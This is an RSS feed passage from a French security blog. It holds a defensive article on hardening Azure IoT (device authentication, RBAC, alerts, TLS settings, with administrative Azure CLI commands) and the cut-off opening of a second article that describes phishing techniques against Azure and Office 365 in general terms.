<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/">Améliorer la sécurité de son infrastructure IoT : conseils de configuration et bonnes pratiques sur Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Les plateformes IoT permettent de connecter, de gérer et de surveiller des flottes d’appareils. Les 3 leaders du Cloud, GCP, AWS et Azure ont chacun leur offre, dans un secteur particulièrement fragmenté, qui voit de nombreux acteurs en concurrence.</p>
<p style="text-align: justify;">Azure, ces dernières années, s’impose de plus en plus dans ce secteur, comme a pu le souligner le Gartner, qui les classe dans les<strong> leaders visionnaires</strong> des plateformes IIoT [1] en raison de ses capacités, et de sa couverture quasiment complète de tous les cas d’utilisation et secteurs d’activité.</p>
<p style="text-align: justify;">L’IoT, par nature souvent largement exposé, voire sur Internet, <strong>peut-être la cible d’attaques</strong>.</p>
<p style="text-align: justify;">Avant de passer à des <strong>recommandations</strong> spécifiques pour protéger vos dispositifs IoT et vos données, examinons comment les différents services d&rsquo;Azure IoT peuvent être utilisés ensemble pour <strong>créer des solutions IoT sécurisées</strong>.</p>
<h1 style="text-align: justify;">Présentation de l’offre Azure IoT</h1>
<p style="text-align: justify;">Microsoft Azure IoT est une <strong>plateforme de bout en bout</strong> pour la connectivité, l’analyse et la visualisation de données provenant d’appareils IoT. Elle offre également une <strong>interconnexion avec les autres services standards d’Azure</strong> comme <em>Azure Machine Learning </em>ou encore <em>Azure SQL Database. </em></p>
<p style="text-align: justify;">Azure IoT propose <strong>deux écosystèmes de solutions</strong> à ses clients :</p>
<ul style="text-align: justify;">
<li><em>Azure IoT Central</em> est une <strong>aPaaS</strong>, <em>application Platform as a Service</em>, <strong>entièrement managée</strong> qui <strong>simplifie la création de solutions IoT</strong>. Ce service est responsable de connecter, gérer et exploiter des flottes d’appareils, et fournit à une interface utilisateur de gestion. <em>Azure IoT Central</em> est en réalité <strong>un agrégat de différents services Azure IoT </strong>comme <em>Azure</em> <em>IoT Hub</em> ou encore <em>Azure</em> <em>IoT Hub Device Provisioning Service (DPS)</em>.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20200 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png" alt="" width="836" height="543" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png 836w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-768x499.png 768w" sizes="auto, (max-width: 836px) 100vw, 836px" /></p>
<p style="text-align: justify;"><em>Azure IoT Central </em><strong>propose des modèles d’application</strong> selon plusieurs domaines d’activité : Retail, Santé, Energie, Industrie, etc., et vise une mise en œuvre « clés en main ».  </p>
<ul style="text-align: justify;">
<li>Un <strong>écosystème personnalisé</strong> grâce aux différents services PaaS, <em>Platform as a Service</em>, d’Azure. Dans cet écosytème, deux services ; <em>Azure IoT Hub</em> et <em>Azure Digital Twins </em>sont les <strong>fondations d’une solution IoT</strong>. Nous les avons également combinés à <em>Azure Device Provisionning </em>et <em>Azure Device Update</em> pour une couverture des besoins cybersécurité optimale.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20202 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png" alt="" width="830" height="519" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png 830w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-305x191.png 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-768x480.png 768w" sizes="auto, (max-width: 830px) 100vw, 830px" /></p>
<p style="text-align: justify;">Ces deux écosystèmes permettent à Azure de <strong>répondre à tous types de besoins IoT et IIoT</strong> :</p>
<ul style="text-align: justify;">
<li><em>Azure</em> <em>IoT Central </em>est un très bon service si vous souhaitez développer rapidement une <strong>application peu complexe</strong> grâce à son catalogue de modèle d’application.</li>
<li>Si vous souhaitez une <strong>solution personnalisée</strong>, ou avec des fonctionnalités non supportées par <em>Azure</em> <em>IoT Central</em> : optez pour un écosystème fondé sur <em>Azure IoT Hub</em>.</li>
</ul>
<p style="text-align: justify;">Maintenant que nous avons une bonne compréhension des écosystèmes d&rsquo;Azure IoT, il est important de se concentrer sur la <strong>sécurisation de ces écosystèmes</strong>. Comment protéger efficacement des dispositifs IoT et des données lors de l&rsquo;utilisation des services Azure IoT ? C&rsquo;est ce que nous allons étudier dans les prochaines parties.</p>
<p> </p>
<h1 style="text-align: justify;">Préambule : l’outil Azure CLI</h1>
<p style="text-align: justify;">Afin de gérer des ressources Azure, Microsoft met à disposition plusieurs outils, la plupart étant utilisables en CLI (<em>Command Line Interface</em>, ou en lignes de commandes). L’outil proposant le plus de fonctionnalités pour la gestion étant<strong> Azure CLI</strong>.</p>
<p style="text-align: justify;">Cet outil, disponible pour les systèmes d’exploitation de type <strong>Windows</strong> et <strong>UNIX</strong>, permet notamment à un utilisateur membre d’un environnement Azure de <strong>gérer et d’obtenir des informations concernant des ressources Azure</strong>. Il est à noter que <strong>l’éventail des possibilités de cet outil varie en fonction des droits</strong> que possède l’utilisateur sur les ressources en question.</p>
<p style="text-align: justify;">Pour l’installer, Microsoft met à disposition <a href="https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli">une page dédiée</a> expliquant les étapes pour tout type d’environnement.</p>
<p style="text-align: justify;">Afin de l’utiliser, il suffit de <strong>se connecter</strong> à un compte utilisateur Azure via l’interface de commande choisie (<strong>Powershell</strong> ou <strong>Bash</strong>), puis d’<strong>entrer les commandes</strong> voulues. Lorsque l’utilisation de cet outil est terminée, <strong>une déconnexion</strong> du compte est recommandée.</p>
<p style="text-align: justify;"><strong>Une utilisation classique</strong> de cet outil est présentée ci-dessous :</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> login [<span style="color: #808080;">-u</span> Nom d’utilisateur] [<span style="color: #808080;">&#8211;use-device</span>]</span></p>
<p><span style="color: #ffffff;">[Commandes Azure CLI] [Exemple : ]</span><br /><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource list</span></p>
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> logout</span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">La documentation de cet outil, présentant et expliquant l’ensemble des commandes possibles, est disponible à <a href="https://learn.microsoft.com/fr-fr/cli/azure/reference-index?view=azure-cli-latest">cette adresse</a>.</p>
<p style="text-align: justify;">Cet outil sera utilisé par la suite lors d’exemple de manipulations techniques.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">1<sup>er</sup> vecteur de sécurisation : authentification des objets</h1>
<p style="text-align: justify;">L’authentification des appareils est cruciale pour une infrastructure Azure car elle permet de garantir que <strong>seuls les dispositifs autorisés puissent accéder aux ressources</strong> Cloud. Les services Azure IoT supporte <strong>deux principaux moyens d’authentification</strong> pour les dispositifs IoT :</p>
<ul style="text-align: justify;">
<li>Un <strong>Jeton SAS</strong> (<em>Shared Access Signature</em>, ou <strong>SAS Token</strong> en anglais) est une <strong>chaine de caractères</strong> permettant d’authentifier des appareils, ainsi que des services. Un jeton SAP à la structure suivante :</li>
</ul>
<p style="text-align: justify;"><em> <img loading="lazy" decoding="async" class="aligncenter wp-image-20204 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image3.png" alt="" width="768" height="164" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image3.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image3-437x93.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image3-71x15.png 71w" sizes="auto, (max-width: 768px) 100vw, 768px" /></em></p>
<p style="text-align: justify;">Ce type d’authentification a une <strong>durée de validité</strong> définie et des <strong>permissions</strong>, qui lui sont attribué à partir d’une <em>stratégie d’accès,</em> sur un <strong>périmètre donné</strong>. La <strong><em>signature</em></strong><em>, </em>quant à elle, est un élément crucial car elle est<strong> responsable de garantir la sécurité des communications</strong> entre l’objet et les services Azure, mais également de prouver l’identité du dispositif. Cette signature est générée à partir d’un secret qui doit être <strong>propre à chaque appareil</strong>.</p>
<ul style="text-align: justify;">
<li>Un <strong>certificat X.509</strong> [2] est un certificat numérique permettant une <strong>authentification forte</strong> de l’objet. Il contient des informations sur l’<strong>entité émettrice</strong> du certificat, la durée de validité du certificat mais également l’<strong>identité du <em>sujet</em></strong> (par exemple : l’objet). L’une des forces des certificats est la capacité à pouvoir créer des chaines de certificats, et ainsi <strong>créer des relations de confiance</strong>:</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20206 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png" alt="" width="844" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png 844w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-768x388.png 768w" sizes="auto, (max-width: 844px) 100vw, 844px" /></p>
<p style="text-align: justify;">En termes de sécurité, les certificats X.509 offrent un <strong>niveau de sécurité plus élevé</strong>, en supposant un algorithme cryptographique à l’état de l’art, car ils permettent de <strong>représenter des relations de confiance</strong>. Cependant, la gestion et l’utilisation des certificats peut impliquer une <strong>complexité supplémentaire</strong> pour un projet IoT.</p>
<p style="text-align: justify;">Afin de forcer l’utilisation des certificats X.509 pour authentifier des objets connectés, il est possible <strong>d’interdire les jetons SAS pour un IoT Hub</strong>. En effet, les IoT Hubs d’Azure <strong>possèdent</strong> <strong>trois propriétés liées à l’utilisation ou non des jetons SAS</strong> :  <em>disableLocalAuth</em>, <em>disableDeviceSAS</em> et <em>disableModuleSAS</em>. Par conséquent, la bonne pratique associée à l’interdiction des jetons SAS passe par <strong>l’attribution de ces trois paramètres à </strong><em>True</em>. Cette manipulation peut être réalisée à l’aide de l’outil <strong>Azure CLI</strong> :</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource update <span style="color: #808080;">&#8211;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt;<span style="color: #808080;"> &#8211;resource-type</span> Microsoft.Devices/IotHubs <span style="color: #808080;">&#8211;set</span> properties.disableDeviceSAS=true properties.disableModuleSAS=true properties.disableLocalAuth=true</span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">La vérification des valeurs de ces mêmes paramètres peut également être réalisée à l’aide d’<strong>Azure CLI</strong> :</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">« (disableLocalAuth|disableDeviceSAS|disableModuleSAS) »</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Dans l’exemple de réponse ci-dessous, la propriété <em>disableDeviceSAS</em> a été correctement paramétrée, ce qui n’est pas le cas des deux autres.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20217 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png" alt="" width="907" height="127" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png 907w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-437x61.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-768x108.png 768w" sizes="auto, (max-width: 907px) 100vw, 907px" /></p>
<p style="text-align: justify;">Le <strong>portail d’Azure</strong> permet également d’effectuer cette vérification :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20208 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png" alt="" width="580" height="317" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png 580w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-349x191.png 349w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-71x39.png 71w" sizes="auto, (max-width: 580px) 100vw, 580px" /></p>
<p style="text-align: justify;">Le choix du moyen d&rsquo;authentification pour Azure IoT <strong>dépendra des exigences de sécurité</strong> de votre solution. Si vous avez besoin d&rsquo;une <strong>sécurité élevée</strong> et que vous avez une infrastructure pour gérer les certificats, alors l’authentification par <strong>certificat X.509</strong> est une bonne option. Cependant, si vous recherchez une <strong>solution simple à gérer et à utiliser</strong>, le <strong>jeton SAS </strong>pourrait être plus adapté à vos besoins.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">2<sup>ème</sup> vecteur de sécurisation : RBAC et alertes</h1>
<p style="text-align: justify;">L’assignement des rôles sur votre infrastructure Azure IoT doit être <strong>réfléchi et défini selon les besoins des utilisateurs</strong>. Une définition de rôles et de permissions précise permet de <strong>limiter l’accès aux ressources</strong> et aux divers fonctionnalités disponibles sur la plateforme. Les différents services Azure IoT fournissent une <strong>multitude de rôles préconfigurés</strong> qui peuvent être adaptés à vos besoins et à votre organisation. Ensuite, <strong>appliquer le principe du moindre privilège</strong>, et limiter le nombre de comptes disposant de privilèges importants, permet d’<strong>améliorer le niveau de sécurité</strong> de votre infrastructure Azure IoT.</p>
<p style="text-align: justify;"><strong>Azure CLI</strong> permet notamment de <strong>lister les utilisateurs possédant des droits sur la ressource Azure IoT souhaitée</strong>, ainsi que leurs rôles associés. La commande suivante permet de réaliser cette action :</p>
<table style="border-collapse: collapse; width: 100%; height: 129px;">
<tbody>
<tr style="height: 129px;">
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid; height: 129px;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #33cccc;"><span style="color: #ffff00;">az</span> <span style="color: #ffffff;">role assignment list</span> <span style="color: #808080;">&#8211;scope</span> « /subscriptions/&lt;ID_de_souscription&gt;/resourceGroups/&lt;Resource_Group&gt;/providers/Microsoft.Devices/IotHubs/&lt;IoT_Hub&gt; » <span style="color: #808080;">&#8211;include-inherited</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Il est possible d’utiliser des sélecteurs de chaînes de caractères (<em>Select-String</em> pour <strong>Powershell</strong>, <em>grep</em> pour <strong>Bash</strong>) afin de ne récupérer que les informations souhaitées.</p>
<p style="text-align: justify;">Dans l’exemple ci-dessous, les <strong>noms</strong>, <strong>types</strong> et <strong>rôles</strong> ont été les seuls éléments récupérés à l’aide de <em>Select-String </em>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20220 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png" alt="" width="852" height="802" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png 852w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-203x191.png 203w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-41x39.png 41w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-768x723.png 768w" sizes="auto, (max-width: 852px) 100vw, 852px" /></p>
<p style="text-align: justify;">La fonction des rôles intégrés Azure est disponible à <a href="https://learn.microsoft.com/fr-fr/azure/role-based-access-control/built-in-roles">cette page</a>.</p>
<p style="text-align: justify;">De plus, la configuration d’<strong>alertes basées sur les métriques</strong> de vos services Azure IoT est un autre outil à prendre en compte. Des alertes peuvent être configurées pour détecter des comportements suspects ou des anomalies, et ainsi <strong>permettre une investigation rapide</strong> sur votre infrastructure. Azure met à la disposition de ses clients une large collection de <em>signaux </em>permettant de définir des conditions d’alertes. Il est également possible de <strong>définir des signaux d’alertes customisés</strong> via le langage de requête utilisé par <em>Azure Log Analytics</em>.</p>
<p style="text-align: justify;">Le <strong>Portail Azure</strong> est le moyen le plus facile pour mettre en place des alertes basées sur les données collectées par le IoT Hub. Par exemple, pour définir une règle d’alerte de journal, il faut :</p>
<ol style="text-align: justify;">
<li>Aller sur la page de management du IoT Hub souhaité ;</li>
<li>Aller dans la sous-catégorie <em>Logs</em> de la catégorie <em>Monitoring</em>;</li>
<li>Choisir une règle en utilisant le langage de <em>Azure Log Analytics </em>;</li>
<li>Ajouter une règle d’alerte liée à cette requête ;</li>
<li>Choisir l’opérateur, l’unité, la valeur seuil, la récurrence de vérification et la période concernée par la règle.</li>
</ol>
<p style="text-align: justify;">Ces actions sont résumées par les captures d’écran ci-dessous :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20210 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png" alt="" width="909" height="244" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png 909w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-437x117.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-768x206.png 768w" sizes="auto, (max-width: 909px) 100vw, 909px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20212 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png" alt="" width="824" height="603" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png 824w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-768x562.png 768w" sizes="auto, (max-width: 824px) 100vw, 824px" /></p>
<p style="text-align: justify;">Il suffira ensuite de choisir un <strong>groupe d’action</strong> lié à un type d’action (envoi de mail, de SMS, etc.).</p>
<p style="text-align: justify;">L’exemple donné entrainera une action si le nombre de connexions échouées d’objets connectés à l’IoT Hub concerné dépasse les 10 échecs en 10 minutes ou moins.</p>
<p style="text-align: justify;">En complément, <a href="https://learn.microsoft.com/fr-fr/azure/azure-monitor/alerts/tutorial-log-alert">un guide détaillé</a> prenant la forme d’un tutoriel est disponible sur la documentation Azure. Il est à noter que ce service est payant en supplément.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">3<sup>ème</sup> vecteur de sécurisation : le service en lui même</h1>
<p style="text-align: justify;">Enfin, la<strong> mise en place d’une configuration adéquate</strong> des services Azure IoT est un autre élément clé pour améliorer le niveau de maturité cyber de la plateforme. Cela inclut des options telles que par exemple les <strong>règles de routage</strong> ou encore paramétrer la version minimum de TLS utilisé par les appareils pour se connecter sur <em>Azure IoT Hub</em>.</p>
<p style="text-align: justify;">Les <strong>règles de routage</strong> sont utilisées pour <strong>rediriger les messages</strong> des appareils IoT vers un <em>point de terminaison</em> (stockage, services, base de données, etc.) et sont paramétrables par des <em>requêtes de routage</em>. Il est recommandé de <strong>filtrer les messages entrants</strong>, via les requêtes de routage, afin d’augmenter la sécurité de votre solution IoT.</p>
<p style="text-align: justify;">La <strong>vérification de la version minimale de TLS acceptée</strong> peut être faite à l’aide d’<strong>Azure CLI</strong> : en effet, un IoT Hub possède l’attribut <em>minTlsVersion</em> permettant de contrôler cette propriété. Cette vérification est réalisée à l’aide de la commande suivante :</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">« minTlsVersion »</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Si cette commande <strong>ne retourne rien</strong>, ou retourne <strong>une valeur inférieure à 1.2</strong>, alors la configuration <strong>n’est pas satisfaisante</strong>.</p>
<p style="text-align: justify;">Le <strong>portail d’Azure</strong> permet également d’effectuer cette vérification :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20214 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png" alt="" width="668" height="315" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png 668w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-405x191.png 405w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-71x33.png 71w" sizes="auto, (max-width: 668px) 100vw, 668px" /></p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">En synthèse</h1>
<p style="text-align: justify;"><strong>La sécurité est un enjeu majeur pour les projets IoT</strong> : Microsoft, avec son produit Azure IoT, fournit une plateforme IoT répondant à une majorité des besoins IoT, et ce de manière sécurisée, sous couvert d’en faire la bonne configuration. Au cours de cette article, nous avons abordé<strong> des recommandations permettant d’améliorer le niveau de sécurité</strong> de votre infrastructure Azure IoT.</p>
<p style="text-align: justify;">Il est important de garder en tête que <strong>d’autres vecteurs d’attaques existent</strong>, tels que les vulnérabilités matérielles et logicielles ainsi que les réseaux utilisés par les dispositifs IoT.  En somme, la sécurité d’une infrastructure IoT est un <strong>défi complexe qui nécessite une approche de bout en bout</strong><strong>.</strong></p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"> </p>
<p style="text-align: center;"><em>Avec la participation de Marius ANDRE</em></p>
<p style="text-align: justify;">[1] “Magic Quadrant for Global Industrial IoT Platforms”</p>
<p style="text-align: justify;"><a href="https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb">https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb</a></p>
<p style="text-align: justify;">[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”</p>
<p style="text-align: justify;"><a href="https://www.rfc-editor.org/rfc/rfc5280">https://www.rfc-editor.org/rfc/rfc5280</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/">Améliorer la sécurité de son infrastructure IoT : conseils de configuration et bonnes pratiques sur Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Les attaques par consentement illicite ciblant Azure et Office 365 : une menace toujours d’actualité ?</title>
		<link>https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/</link>
					<comments>https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/#respond</comments>
		
		<dc:creator><![CDATA[Younes Laaboudi]]></dc:creator>
		<pubDate>Thu, 30 Mar 2023 09:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[O365]]></category>
		<category><![CDATA[phishing]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20114</guid>

					<description><![CDATA[<p>Un petit tour d’horizon des techniques d’hameçonnage sur Azure et Office 365 Les attaques par hameçonnage (phishing) sont connues de tous. L’objectif de ce type d’attaque est de réaliser des actions depuis le compte d’une victime ou de récupérer des...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/">Les attaques par consentement illicite ciblant Azure et Office 365 : une menace toujours d’actualité ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">Un petit tour d’horizon des techniques d’hameçonnage sur Azure et Office 365</h1>
<p style="text-align: justify;">Les <strong>attaques par hameçonnage</strong> (phishing) sont connues de tous. L’objectif de ce type d’attaque est de <em>réaliser des actions</em> depuis le compte d’une victime ou de <strong>récupérer des informations</strong> sur la personne ou l’entreprise ciblée.</p>
<p style="text-align: justify;">Malgré leur notoriété, elles restent très efficaces pour les attaquants. En effet, parmi les <a href="https://www.wavestone.com/en/insight/cert-w-2022-cybersecurite-trends-analysis/">attaques investiguées par le CERT Wavestone</a>, environ 51% d’entre elles commencent par l’utilisation de comptes valides, ce qui inclut les <strong>attaques par hameçonnage</strong> (phishing).</p>
<p style="text-align: justify;"><strong>Face aux attaques par l’hameçonnage, nous sommes tous vulnérables !</strong> Un attaquant disposant de suffisamment de ressources et d’informations sur sa cible peut générer <em>un piège assez élaboré</em> pour faire baisser la garde du destinataire. De même, les suites de produits Office365 et Azure disposent de fonctionnalités pouvant être exploitées dans le cadre <em>d’attaques moins conventionnelles et dont les impacts peuvent être méconnus des utilisateurs</em>.</p>
<p style="text-align: justify;">La <strong>sensibilisation des employées</strong>, bien que nécessaire pour faire face aux menaces les plus répandues, ne suffit pas face à certains types d’attaques plus ciblées ou moins traditionnelles. Un <strong>durcissement des conditions d’accès</strong> aux ressources hébergées sur le cloud, <strong>une bonne hygiène dans la gestion des droits d’accès</strong> ainsi que la <strong>détection d’accès inhabituels et suspicieux</strong> sont primordiales dans la stratégie de défense des entreprises.</p>
<p style="text-align: justify;">Les attaquants disposent d’une <strong>large gamme d’outils et de possibilités</strong> pour accéder aux <strong>documents stockés sur le SharePoint</strong> d’une entreprise, tenter de <strong>récupérer des emails sensibles</strong> ou récupérer des informations sur les employés. L’attaque par hameçonnage traditionnelle ainsi que par l’authentification « device code » seront brièvement expliquées ci-dessous avant d’examiner plus en détails les attaques par consentement illicite.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">L’attaque de phishing traditionnelle : une menace connue et évitable via l’usage d’authentification multi facteur</h2>
<p style="text-align: justify;">Les attaques de phishing traditionnelles reposent généralement sur l’envoi d’un <strong>lien dirigeant les victimes ciblées vers un site qu’il contrôle</strong>. Grace à une mire d’authentification similaire à celles auxquelles sont habituées les employées de l’entreprise ciblée, l’attaquant <strong>récupère les identifiants et mots de passe des utilisateurs piégés.</strong></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20128 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2.png" alt="" width="3408" height="2216" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2.png 3408w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-768x499.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-1536x999.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-2048x1332.png 2048w" sizes="auto, (max-width: 3408px) 100vw, 3408px" /></p>
<p style="text-align: center;"><em>L’attaque par hameçonnage traditionnelle est simple à mettre en œuvre en l’absence d’authentification multi-facteur</em></p>
<p style="text-align: justify;">La <strong>simplicité de mise en œuvre à grande échelle</strong> d’une telle attaque en fait un outil de choix pour les attaques non ciblées. Une méthode pour se prémunir contre ce type d’attaque est <strong>d’imposer l’utilisation d’un second facteur d’authentification.</strong></p>
<p style="text-align: justify;">Il est à noter cependant que bien que plus complexe à mettre en œuvre, <strong>l’interception du second facteur d’authentification est techniquement réalisable</strong> et fera l’objet d’un article dédié.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">L’attaque via l’authentification « device code » : une méthode méconnue d’authentification détournée par des attaquants</h2>
